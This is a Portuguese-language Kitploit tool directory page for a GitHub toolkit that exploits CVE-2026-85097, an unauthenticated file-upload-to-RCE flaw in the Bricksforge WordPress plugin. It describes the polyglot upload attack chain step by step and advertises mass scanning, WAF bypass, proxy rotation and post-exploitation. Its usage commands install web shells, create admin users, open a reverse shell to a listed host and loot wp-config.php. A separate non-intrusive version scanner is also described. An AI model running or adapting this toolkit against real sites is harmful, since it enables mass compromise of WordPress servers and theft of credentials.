Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-85097-Toolkit — Kit de ferramentas em Python para CVE-2026-85097: explora o upload de arquivos não autenticado do Bricksforge no WordPress para RCE por meio de payloads poliglotas, além de um scanner de detecção de versão não intrusivo. | Kitploit
Ferramentas/GitHubGitHub/tc4dy/cve-2026-85097-toolkit
ReconhecimentoScanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebPós-ExploraçãoBypass de WAFSegurança WebTestes de Penetração

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Aprendizado e Educação
Ferramenta de Acesso Remoto
GitHubtc4dy/cve-2026-85097-toolkit

CVE-2026-85097-Toolkit

Kit de ferramentas em Python para CVE-2026-85097: explora o upload de arquivos não autenticado do Bricksforge no WordPress para RCE por meio de payloads poliglotas, além de um scanner de detecção de versão não intrusivo.

Ver Repositório
513há 21 diasAinda não revisado
Compartilhar

CVE-2026-85097

CVE-2026-85097 - Bricksforge WordPress Plugin Unauthenticated File Upload to RCE Toolkit

CVE-2026-85097 CVSS 10.0 Active Exploitation Python 3.6+

Pre-Auth File Upload Polyglot Cross-Platform

Bricksforge WordPress Plugin - Unauthenticated Arbitrary File Upload to Remote Code Execution

Exploit Toolkit and Safe Detection Scanner
For authorized security testing only.


[+] Vulnerability Overview

CVE-2026-85097 é uma vulnerabilidade crítica de upload arbitrário de arquivos sem autenticação no plugin Bricksforge para WordPress (versões 3.1.8.9 e anteriores). Ela permite que atacantes remotos contornem a validação de MIME e enviem arquivos PHP controlados pelo atacante para o diretório de uploads, resultando em execução remota de código como o usuário do servidor web.

Como funciona

  1. Obtenção de Nonce: A ação AJAX bricksforge_regenerate_nonce é registrada com wp_ajax_nopriv_, permitindo que atacantes não autenticados obtenham um nonce REST válido.

  2. Upload Polyglot: O endpoint REST form_file_upload valida o tipo MIME do arquivo enviado. Um arquivo polyglot (cabeçalho PNG/GIF válido seguido de código PHP) passa por essa verificação.

  3. Confiança em Metadados: Durante o envio do formulário, o plugin confia nos metadados fornecidos pelo cliente no parâmetro temporaryFileUploads. O campo file aponta para o polyglot validado, enquanto o campo url contém o nome de arquivo escolhido pelo atacante (incluindo a extensão .php).

  4. Execução de PHP: O sink copy() do plugin usa o valor url fornecido pelo atacante literalmente como o nome do arquivo de destino. O arquivo polyglot é renomeado para .php dentro de wp-content/uploads/YYYY/MM/ e executado quando acessado.

Fatos Principais

AtributoValor
[>] DescobertoOutubro de 2026 (Patchstack)
[>] Pontuação CVSS10.0 (CRÍTICA)
[>] CWECWE-434 (Upload Irrestrito de Arquivo com Tipo Perigoso)
[>] Plugin AfetadoBricksforge (módulo Pro Forms)
[>] Versões Afetadas3.1.8.9 e anteriores
[>] Versão Corrigida3.1.8.10
[>] AutenticaçãoNão necessária (Pre-Auth)
[>] Exploração AtivaConfirmada em campo (outubro de 2026)

[<>] Exploit Toolkit

O exploit toolkit encadeia a obtenção de nonce, o upload polyglot, a manipulação de metadados e a execução de PHP em um único fluxo de trabalho automatizado, com recursos avançados para varredura em massa, OPSEC e pós-exploração.

Recursos

RecursoDescrição
[+] Cadeia de Ataque CompletaObtenção de nonce, upload de polyglot, envio de formulário, verificação de shell
[+] Payloads PolyglotVariantes de chunk tEXt de PNG e extensão de comentário de GIF
[+] Varredura em MassaVarredura concorrente com pool de threads
[+] Pós-ExploraçãoInstalação de web shell, criação de usuário admin, reverse shell, coleta de arquivos
[+] Execução de ComandosExecuta comandos arbitrários em shells confirmados
[+] Detecção SeguraScanner não intrusivo separado (safechecker.py)
[+] Bypass de WAFFalsificação de cabeçalhos, rotação de User-Agent, codificação de extensão
[+] Suporte a ProxySOCKS5, SOCKS4, proxies HTTP com estratégias de rotação
[+] Múltiplos Formatos de SaídaJSON, CSV, HTML, JSONL, SQLite
[+] Thread-SafeUtiliza mecanismos de bloqueio para operações concorrentes
[+] Limitação de TaxaLimitador de taxa global com jitter e atraso
[+] MultiplataformaSuporta Linux, macOS, BSD, WSL

Fluxo de Ataque

EstágioDescrição
nonceObtém um nonce REST válido por meio da ação AJAX não autenticada
uploadEnvia um PNG/GIF polyglot que passa na validação de MIME
submitEnvia o formulário com metadados apontando para o polyglot e uma URL .php
verifyAcessa o shell enviado e confirma a execução de comandos
exploitInstala web shell, cria admin, aciona reverse shell, coleta arquivos

Verificador Seguro

O verificador seguro (safechecker.py) realiza detecção não intrusiva de vulnerabilidades sem enviar payloads, submeter formulários ou modificar o alvo.

[>] Recursos

RecursoDescrição
[+] Detecção de WordPressIdentifica instâncias WordPress por meio de múltiplos padrões
[+] Detecção de PluginConfirma a presença do Bricksforge via HTML e arquivos estáticos
[+] Detecção de VersãoDetecta versões específicas do plugin
[+] Verificação de Rota RESTEnumera endpoints REST do Bricksforge expostos
[+] Sondagem de Endpoint NonceVerificação opcional do endpoint nonce (--probe-nonce)
[+] Verificação de Log de DebugInspeciona wp-content/debug.log em busca de rastros do plugin
[+] Não IntrusivoApenas identifica versões vulneráveis e endpoints expostos
[+] Saída JSON/CSV/SQL/JSONLExporta resultados para relatórios
[+] Varredura em MassaVarre múltiplos alvos com suporte a threading

Instalação e Requisitos

Pré-requisitos

  • Python 3.6+
  • pip (para a biblioteca requests)

Instalar Dependências

pip install requests urllib3

Clonar Repositório

git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py

Exemplos de Uso

[1] Toolkit de Exploração (exploit.py)

# Single target exploit
python3 exploit.py -u https://target.com --exploit

# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"

# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json

# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell

# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"

# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"

# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot

# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin

# Jitter and rate limiting
python3 exploit.py -f targets.txt --jitter --jitter-range 0.5,3.0 --rate-limit 5

# Custom User-Agent and insecure TLS
python3 exploit.py -u https://target.com --user-agent "CustomBot/1.0" --insecure

# Output to SQLite
python3 exploit.py -f targets.txt --output results.json --db scan.db

# Quiet mode
python3 exploit.py -f targets.txt --exploit -q

[2] Verificador Seguro (safechecker.py)

Baixar ferramenta